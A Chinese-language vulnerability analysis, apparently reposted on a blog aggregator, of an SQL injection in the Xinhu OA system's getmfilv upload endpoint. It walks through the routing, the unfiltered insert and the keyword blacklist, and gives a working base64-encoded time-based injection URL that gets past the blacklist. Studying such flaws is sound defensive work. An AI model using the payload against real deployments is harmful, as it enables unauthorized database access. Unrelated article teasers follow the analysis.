信呼OA办公系统sql注入漏洞分析

news2025/2/21 0:50:41

漏洞描述

信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

环境搭建

源码下载地址:https://github.com/rainrocka/xinhu
下载后解压到本地网站根目录下,配置好数据库,然后安装即可
图片.png
图片.png
默认密码是admin/123456,登录进去得更改一次密码

路由分析

在include/View.php中详细介绍了路由的定义

<?php  
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');  
$ajaxbool   = $rock->get('ajaxbool', $ajaxbool);  
$p  = PROJECT;//define('PROJECT', 'webmain');  
if(!isset($m))$m='index';  
if(!isset($a))$a='default';  
if(!isset($d))$d='';  
$m  = $rock->get('m', $m);  
$a  = $rock->get('a', $a);  
$d  = $rock->get('d', $d);define('M', $m);  
define('A', $a);  
define('D', $d);  
define('P', $p);$_m = $m;  
if($rock->contain($m, '|')){  
    $_mas = explode('|', $m);//以|分割变量m  
    $m= $_mas[0];  
    $_m = $_mas[1];  
}  
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//调用strformat进行格式化,其中?0、?1 等是占位符  
$rand   = date('YmdHis').rand(1000,9999);//随机值  
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一个字符不是/且$d不是空就在$d后面加一个/  
$errormsg   = '';  
$methodbool = true;  
$actpath    = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目录/webmain/$d/$_m  
define('ACTPATH', $actpath);  
$actfile    = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目录/webmain/$d/$_m/$mAction.php  
$actfile1   = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目录/webmain/$d/$_m/$_mAction.php  
$actbstr = null;  
//依次判断$actfile1以及$actfile哪个文件存在,哪个存在包含哪个  
if(file_exists($actfile1))  
    include_once($actfile1);  
if(file_exists($actfile)){  
    include_once($actfile);  
    $clsname    = ''.$m.'ClassAction';  
    $xhrock = new $clsname();//创建一个与$m相关类的对象  
    $actname    = ''.$a.'Action';//在$a后接一个Action  
    if($ajaxbool == 'true')//判断ajaxbool是否为true  
        $actname    = ''.$a.'Ajax';//在$a后接一个Ajax  
    if(method_exists($xhrock, $actname)){//检测类中是否存在该方法  
        $xhrock->beforeAction();  
        $actbstr = $xhrock->$actname();  
        $xhrock->bodyMessage = $actbstr;  
        if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}  
        if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}  
    }else{  
        $methodbool = false;  
        if($ajaxbool == 'false')echo ''.$actname.' not found;';  
    }  
    $xhrock->afterAction();  
}else{  
    echo 'actionfile not exists;';  
    $xhrock = new Action();  
}$_showbool = false;  
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){  
    $xhrock->smartydata['p']    = $p;  
    $xhrock->smartydata['a']    = $a;  
    $xhrock->smartydata['m']    = $m;  
    $xhrock->smartydata['d']    = $d;  
    $xhrock->smartydata['rand'] = $rand;  
    $xhrock->smartydata['qom']  = QOM;  
    $xhrock->smartydata['path'] = PATH;  
    $xhrock->smartydata['sysurl']= SYSURL;  
    $temppath   = ''.ROOT_PATH.'/'.$p.'/';  
    $tplpaths   = ''.$temppath.'/'.$d.''.$m.'/';  
    $tplname    = 'tpl_'.$m.'';  
    if($a!='default')$tplname  .= '_'.$a.'';  
    $tplname       .= '.'.$xhrock->tpldom.'';  
    $mpathname  = $tplpaths.$tplname;  
    if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;  
    if(!file_exists($mpathname) || !$methodbool){  
        if(!$methodbool){  
            $errormsg   = 'in ('.$m.') not found Method('.$a.');';  
        }else{  
            $errormsg   = ''.$tplname.' not exists;';  
        }  
        echo $errormsg;  
    }else{  
        $_showbool = true;  
    }  
}  
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){  
    $xhrock->setHtmlData();  
    $da = $xhrock->smartydata;  
    foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;  
    include_once($mpathname);  
    $_showbool = false;  
}

这里用get方式会接收m,d,a,ajaxbool参数

  • a j a x b o o l :用于判断请求是否为 A J A X 请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从rock->jm->gettoken获取。当ajaxbool为false时,是对xxxAction.php的内容访问,当ajaxbool为true时,是对xxxAjax.php的内容进行访问
  • $m, $a, $d:分别代表php文件名(不含Action)、动作名(action)、目录名(webadmin下的子目录),默认值分别为index,default、空字符串。

举例:index.php?a=deluser&m=imgroup&d=&ajaxbool=true&gid=38&sid=1

  • $m:user,表示请求的是webadmin下的imgroup 目录。
  • $a:list,表示请求的方法是 deluser。
  • ajaxbool:true,表示这是一个 AJAX 请求
    图片.png

漏洞分析

漏洞的位置在webmain/task/api/uploadAction.php中
核心代码在getmfilvAction()方法里边

	public function getmfilvAction()
	{
		$fileid = (int)$this->get('fileid','0');
		$frs 	= m('file')->getone($fileid);
		if(!$frs)return returnerror('不存在');
		
		$lujing	= $frs['filepathout'];
		if(isempt($lujing)){
			$lujing = $frs['filepath'];
			if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
		}
		$fileext = $frs['fileext'];
		
		$fname = $this->jm->base64decode($this->get('fname'));
		$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';
		
		$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
		$this->rock->createtxt($filepath, file_get_contents($lujing));
		
		$uarr = array(
			'filename' => $fname,
			'fileext' => $fileext,
			'filepath' => $filepath,
			'filesize' => filesize($filepath),
			'filesizecn' => $this->rock->formatsize(filesize($filepath)),
			'optid' 	=> $this->adminid,
			'optname' 	=> $this->adminname,
			'adddt' 	=> $this->rock->now,
			'ip' 		=> $this->rock->ip,
			'web' 		=> $this->rock->web,
		);
		$uarr['id'] = m('file')->insert($uarr);
	
		return returnsuccess($uarr);
	}

getmfilvAction 方法的主要功能是从数据库中获取文件信息,读取文件内容,生成新的文件,并将新文件的信息记录到数据库中。最后,返回生成文件的信息。
在该方法中有两个可以控制的参数,一个是fileid另一个是fname,但是fileid参数会进行类型转换为int类型存在注入几率几乎为零,其中fname还进行了base64解码操作,最后将两个参数的内容连同其他文件基本信息进行数据库的插入操作,在这个地方想要确定有sql注入需要确定get方法以及insert方法是否存在sql语句的过滤
进入Model.php中的inser()方法

	public function insert($arr)
	{
		$nid = 0;
		if($this->record($arr, ''))$nid = $this->db->insert_id();
		return $nid;
	}

对传入的参数进行record方法的校验若不为false,那么就获取到其id值
跟进record方法
图片.png
再跟进 public function record( t a b l e , table, table,array,$where=‘’)

	{
		$addbool  	= true;
		if(!$this->isempt($where))$addbool=false;
		$cont		= '';
		if(is_array($array)){
			foreach($array as $key=>$val){
				$cont.=",`$key`=".$this->toaddval($val)."";
			}
			$cont	= substr($cont,1);
		}else{
			$cont	= $array;
		}
		$table = $this->gettables($table);
		if($addbool){
			$sql="insert into $table set $cont";
		}else{
			$where = $this->getwhere($where);
			$sql="update $table set $cont where $where";
		}
		return $this->tranbegin($sql);
	}

代码解读:该方法首先是是对where参数进行非空判断,前面代码是将where设置为空了,那么 a d d b o o l 就是 f a l s e 。接着就是判断 addbool就是false。接着就是判断 addbool就是false。接着就是判断array是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到 c o n t 字符串中并调用 t o a d d v a l 方法确保传入的字符串被正确地格式化为 S Q L 语句中的字符串值,但该方法并没有对 s q l 进行任何过滤 ; 然后调用 g e t t a b l e s 设置表名,接着进入 e l s e 语句,我们清晰的看到 cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到 cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为SQL语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到sql变量直接将$cont语句拼接到了sql语句中
接着我们去get方法中看看该方法对传入的内容有什么过滤,来到rockClass.php中

	public function get($name,$dev='', $lx=0)
	{
		$val=$dev;
		if(isset($_GET[$name]))$val=$_GET[$name];
		if($this->isempt($val))$val=$dev;
		return $this->jmuncode($val, $lx, $name);
	}

这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤
这个文件里有个construct()方法,实例化rockClass对象就会触发

	public function __construct()
	{		
		$this->ip		= $this->getclientip();
		$this->host		= isset($_SERVER['HTTP_HOST'])		? $_SERVER['HTTP_HOST']		: '' ;
		if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host);
		$this->url		= '';
		$this->isqywx	= false;
		$this->win		= php_uname();
		$this->HTTPweb	= isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']	: '' ;
		$this->web		= $this->getbrowser();
		$this->unarr	= explode(',','1,2');
		$this->now		= $this->now();
		$this->date		= date('Y-m-d');
		$this->lvlaras  = explode(',','select ,
		alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
		$this->lvlaraa  = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
		$this->lvlarab	= array();
		foreach($this->lvlaraa as $_i)$this->lvlarab[]='';
	}

这里过滤大部分sql注入一些敏感字符,通过以上分析发现这个fname参数经过get传参后会进行base64decode方法进行base64解密,那么如果我们将filename传入恶意的sql语句进行base64编码,就会绕过rockClass.php中的construct方法中的sql语句的过滤,之后进行base64解密又拼接到sql语句造成sql注入的形成

漏洞验证

payload:

api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDMpIw==

payload解释:漏洞的位置在webmain/task/api/uploadAction.php中的getmfilv方法中,d传task参数表示在webadmin/task目录下,m传upload|api,第一部分 upload 会被赋值给 $m,第二部分 api 会被赋值给 $_m,表示
api下的uploadAction.php文件,a传getmfilv文件表示调用uploadAction.php的、getmfilv()方法,fname传sql注入的payload,进行base64编码

成功延时
图片.png
图片.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2298478.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器学习算法 - 随机森林之决策树初探(1)

随机森林是基于集体智慧的一个机器学习算法&#xff0c;也是目前最好的机器学习算法之一。 随机森林实际是一堆决策树的组合&#xff08;正如其名&#xff0c;树多了就是森林了&#xff09;。在用于分类一个新变量时&#xff0c;相关的检测数据提交给构建好的每个分类树。每个…

原生Three.js 和 Cesium.js 案例 。 智慧城市 数字孪生常用功能列表

对于大多数的开发者来言&#xff0c;看了很多文档可能遇见不到什么有用的&#xff0c;就算有用从文档上看&#xff0c;把代码复制到自己的本地大多数也是不能用的&#xff0c;非常浪费时间和学习成本&#xff0c; 尤其是three.js &#xff0c; cesium.js 这种难度较高&#xff…

在 PyCharm 中接入deepseek的API的各种方法

在 PyCharm 中接入 DeepSeek 的 API&#xff0c;通常需要以下步骤&#xff1a; 1. 获取 DeepSeek API 密钥 首先&#xff0c;确保你已经在 DeepSeek 平台上注册并获取了 API 密钥&#xff08;API Key&#xff09;。如果没有&#xff0c;请访问 DeepSeek 的官方网站注册并申请 …

【2025新】基于springboot的问卷调查小程序设计与实现

目录 一、整体目录&#xff08;示范&#xff09;&#xff1a; 文档含项目技术介绍、E-R图、数据字典、项目功能介绍与截图等 二、运行截图 三、代码部分&#xff08;示范&#xff09;&#xff1a; 四、数据库表(示范)&#xff1a; 数据库表有注释&#xff0c;可以导出数据…

数据结构——Makefile、算法、排序(2025.2.13)

目录 一、Makefile 1.功能 2.基本语法和相关操作 &#xff08;1&#xff09;创建Makefile文件 &#xff08;2&#xff09;编译规则 &#xff08;3&#xff09;编译 &#xff08;4&#xff09;变量 ①系统变量 ②自定义变量 二、 算法 1.定义 2.算法的设计 &#xff…

什么是Docker多架构容器镜像

什么是Docker多架构容器镜像 在 Docker 中&#xff0c;同一个 Docker 镜像可以在不同的平台上运行&#xff0c;例如在 x86、ARM、PowerPC 等不同的 CPU 架构上。 为了支持这种多平台的镜像构建和管理&#xff0c;Docker 在 17.06 版本时引入了 Manifest 的概念&#xff0c;在…

【devops】 Git仓库如何fork一个私有仓库到自己的私有仓库 | git fork 私有仓库

一、场景说明 场景&#xff1a; 比如我们Codeup的私有仓库下载代码 放入我们的Github私有仓库 且保持2个仓库是可以实现fork的状态&#xff0c;即&#xff1a;Github会可以更新到Codeup的最新代码 二、解决方案 1、先从Codeup下载私有仓库代码 下载代码使用 git clone 命令…

RocketMQ及和Kafka的区别

目录 1 从场景入手2 RocketMQ是什么&#xff1f;3 RocketMQ及和Kafka的区别3.1 在架构上做了减法3.1.1 简化协调节点3.1.2 简化分区3.1.3 底层存储3.1.3.1 Kafka底层存储3.1.3.1 RocketMQ底层存储 3.1.4 简化备份模型3.1.4.1 Kafka备份模型3.1.4.2 RocketMQ备份模型 3.1.5 Rock…

【含文档+PPT+源码】基于微信小程序的乡村振兴民宿管理系统

项目介绍 本课程演示的是一款基于微信小程序的乡村振兴民宿管理系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 3.该…

Datawhale Ollama教程笔记3

小白的看课思路&#xff1a; Ollama REST API 是什么&#xff1f; 想象一下&#xff0c;你有一个智能的“盒子”&#xff08;Ollama&#xff09;&#xff0c;里面装了很多聪明的“小助手”&#xff08;语言模型&#xff09;。如果你想让这些“小助手”帮你完成一些任务&#…

基于JavaWeb开发的Java+Spring+vue+element实现旅游信息管理平台系统

基于JavaWeb开发的JavaSpringvueelement实现旅游信息管理平台系统 &#x1f345; 作者主页 网顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各…

【技术产品】DS三剑客:DeepSeek、DataSophon、DolphineSchduler浅析

引言 在大数据与云原生技术快速发展的时代&#xff0c;开源技术成为推动行业进步的重要力量。本文将深入探讨三个备受瞩目的开源产品组件&#xff1a;DeepSeek、DataSophon 和 DolphinScheduler&#xff0c;分别从产品定义、功能、技术架构、应用场景、优劣势及社区活跃度等方面…

云计算实训室解决方案(2025年最新版)

一、中高职及本科院校在云计算专业建设中面临的挑战 随着大数据、信息安全、人工智能等新兴信息技术产业的快速发展&#xff0c;相关领域人才需求激增&#xff0c;许多本科及职业院校纷纷开设云计算及相关专业方向。 然而&#xff0c;大多数院校在专业建设过程中面临以下困难&…

我的新书《青少年Python趣学编程(微课视频版)》出版了!

&#x1f389; 激动人心的时刻来临啦&#xff01; &#x1f389; 小伙伴们久等了&#xff0c;我的第一本新书 《青少年Python趣学编程&#xff08;微课视频版&#xff09;》 正式出版啦&#xff01; &#x1f4da;✨ 在这个AI时代&#xff0c;市面上的Python书籍常常过于枯燥&…

网络安全要学python 、爬虫吗

网络安全其实并不复杂&#xff0c;只是比普通开发岗位要学习的内容多一点。无论是有过编程基础还是零基础的都可以学习的。网络安全目前可就业的岗位从技术上可分为两部分&#xff1a;web安全和二进制逆向安全。web安全是网络安全的入门方向&#xff0c;内容简单&#xff0c;就…

DBSCAN 基于密度的空间带噪聚类法

DBSCAN 基于密度的空间带噪聚类法 DBSCAN&#xff08;Density - Based Spatial Clustering of Applications with Noise&#xff09;即基于密度的空间聚类算法&#xff0c;它是一种典型的密度聚类算法&#xff0c;以下从核心概念、算法步骤、优缺点及应用场景等方面进行解释。…

Python基于Django的漏洞扫描系统【附源码、文档说明】

博主介绍&#xff1a;✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…

或非门组成的SR锁存器真值表相关问题

PS&#xff1a;主要是给大家抛砖引玉&#xff0c;不喜勿喷。 问题描述&#xff1a;或非门组成的SR锁存器&#xff0c;为什么当SD和RD等于0时候的真值表一个是Q0&#xff0c;Q0.一个结果是Q1&#xff0c;Q1&#xff1f;

深度学习框架探秘|TensorFlow vs PyTorch:AI 框架的巅峰对决

在深度学习框架中&#xff0c;TensorFlow 和 PyTorch 无疑是两大明星框架。前面两篇文章我们分别介绍了 TensorFlow&#xff08;点击查看&#xff09; 和 PyTorch&#xff08;点击查看&#xff09;。它们引领着 AI 开发的潮流&#xff0c;吸引着无数开发者投身其中。但这两大框…

【前端框架】Vue3 面试题深度解析

本文详细讲解了VUE3相关的面试题&#xff0c;从基础到进阶到高级&#xff0c;分别都有涉及&#xff0c;希望对你有所帮助&#xff01; 基础题目 1. 简述 Vue3 与 Vue2 相比有哪些主要变化&#xff1f; 答案&#xff1a; 响应式系统&#xff1a;Vue2 使用 Object.definePrope…